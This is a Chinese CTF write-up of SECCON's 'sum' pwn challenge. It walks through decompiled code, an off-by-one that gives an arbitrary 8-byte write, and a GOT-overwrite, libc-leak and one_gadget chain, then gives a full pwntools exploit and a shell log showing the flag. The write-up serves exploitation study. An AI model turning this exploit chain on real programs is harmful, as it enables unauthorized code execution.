0x20 sum
这道题目挺有意思的, 一开始没想明白怎么利用, 只知道一个
Integer Overflow和off by one. 可以把这个问题定性为: 如何通过8字节任意地址写获得shell. 当然, 大佬请绕道~
0x21 检查保护
➜ challenge checksec sum
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
0x22 漏洞分析
main()
程序逻辑也很简单, 就是一个加法运算, 一般这样的都能往整数溢出方面猜了. 先看看main()函数:
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 num[5]; // [rsp+0h] [rbp-40h]
__int128 result; // [rsp+28h] [rbp-18h]
unsigned __int64 v6; // [rsp+38h] [rbp-8h]
v6 = __readfsqword(0x28u);
num[0] = 0LL;
num[1] = 0LL;
num[2] = 0LL;
num[3] = 0LL;
num[4] = 0LL;
result = (unsigned __int64)&result + 8; // equal: result = &num[4]
puts("[sum system]\nInput numbers except for 0.\n0 is interpreted as the end of sequence.\n");
puts("[Example]\n2 3 4 0");
read_ints(num, 5LL);
if ( (signed int)sum(num, (_QWORD *)result) > 5 )// check int number count
exit(-1); // must change exit addr as main address
printf("%llu\n", *((_QWORD *)&result + 1));
return 0;
}
上面有两个比较重要的函数, 一是read_ints(); 二是sum(). 还有两个需要关注的数据, 一是num[5], 二是result. 这里需要注意一下, result占了16个字节, 因为后面用到了result = &result + 8, 而num和result在堆栈上是相邻的, 因此如果能够让num数组越界写的话, 就能改result在栈上的值, 即任意修改result的地址.
read_ints()
unsigned __int64 __fastcall read_ints(__int64 *num, __int64 cnt)
{
__int64 i; // [rsp+10h] [rbp-10h]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
for ( i = 0LL; i <= cnt; ++i ) // vuln1: off by one, can write 6 number
{
if ( (unsigned int)__isoc99_scanf("%lld", &num[i]) != 1 )
exit(-1);
if ( !num[i] )
break;
}
return __readfsqword(0x28u) ^ v4;
}
上面可以看到,read_ints()第二个参数是输入整数的数量cnt, 但是for循环中的判断为i <= cnt, 故实际可写入6*8 = 48个字节, 即可以改栈上result的地址.
sum()
__int64 __fastcall sum(__int64 *num, _QWORD *result)
{
int i; // eax
unsigned int ret; // [rsp+14h] [rbp-Ch]
*result = 0LL;
ret = 0;
while ( num[ret] )
{
i = ret++;
*result += num[i]; // vuln2: integer overflow
}
return ret;
}
这里能明显看到result可以整数溢出(但不需要利用这个洞), 如果能够控制栈上result地址的话, 就可以往任意地址写入value. *result即为这个value.
0x23 漏洞利用
经过上面的分析, 总的利用思路如下:
-
输入6个整数, 最后一个整数为我们想要写入数据的地址.(在
read_ints()中) -
为了在
sum()中控制修改后的result地址上的值, 需要保证六个整数的和(sum)的结果为我们希望写入的值. -
总体的利用步骤如下:
-
First,
main函数只能执行一次, 且main()中有sum(num, (_QWORD *)result) > 5的判断, 如果输入超过了5个整数就会exit(), 因此可以修改exit的got地址为main函数的地址, 每次exit的时候实际上调用main. -
Second, 能够重复调用
main函数还不够, 还需要泄露libc地址以跳到onegadget. 但是main函数不能执行到printf(因为exit()变成了main), 而前面两次puts都是固定字符串变量, 在.data段, 无法修改那个段上的值. 所以找到了setup()函数, 这个函数在_start中被__init_array调用.setup()中调用了setvbuf(),setvbuf的第一个参数是.bss段上的, 可以先把setvbuf()got地址改为puts, 然后再改__bss_start地址上的值为putsgot地址, 就能打印出puts的地址.unsigned __int64 setup() { unsigned __int64 v0; // ST08_8 v0 = __readfsqword(0x28u); setvbuf(_bss_start, 0LL, 2, 0LL); setvbuf(stdin, 0LL, 2, 0LL); // 2: unbuffered alarm(0x1Eu); return __readfsqword(0x28u) ^ v0; } -
Third, 经过上一步计算出libc基址后, 就能确定one_gadget的地址了, 最终确定只有
0x4f322的one_gadget才有用. 如下:➜ seccon one_gadget libc.so_18292bd12d37bfaf58e8dded9db7f1f5da1192cb 0x4f2c5 execve("/bin/sh", rsp+0x40, environ) constraints: rcx == NULL 0x4f322 execve("/bin/sh", rsp+0x40, environ) constraints: [rsp+0x40] == NULL 0x10a38c execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL
-
0x24 exp
#!/usr/bin/env python
#coding=utf-8
from pwn import *
# we should make 6 integers sum result is %value in %addr
def sla(addr, value):
p.sendlineafter("2 3 4 0\n", "-{} 1 1 1 {} {}".format(addr, value - 3, addr))
context.log_level = "debug"
context.terminal = ["tmux", "splitw", "-h"]
p = process("./sum")a
elf = ELF("./sum")
libc = ELF("./libc.so_18292bd12d37bfaf58e8dded9db7f1f5da1192cb")
puts_plt = 0x400600
# 1. First, change exit got as _start address, so can reuse main func
sla(elf.got['exit'], elf.sym['_start'])
# 2. Second, change setvbuf got as puts address in setup(),
# setup() func called by _init_array
# so that we cant puts value
sla(elf.got["setvbuf"], puts_plt)
# 3. Third, change __bss_start value as puts got address, can leak puts address
sla(elf.sym['__bss_start'], elf.got['puts'])
puts_addr = u64(p.recvn(6).ljust(8, '\x00'))
libc.address = puts_addr - libc.sym['puts']
info("leak puts address: " + hex(puts_addr))
info("libc base: " + hex(libc.address))
# 4. change scanf got address as one gadget
sla(elf.got['__isoc99_scanf'], libc.address + 0x4f322)
p.interactive()
$ cat flag.txt
[DEBUG] Sent 0xd bytes:
'cat flag.txt\n'
[DEBUG] Received 0x36 bytes:
'SECCON{ret_call_call_ret??_ret_ret_ret........shell!}\n'
SECCON{ret_call_call_ret??_ret_ret_ret........shell!}
[*] Got EOF while reading in interactive
$








网友评论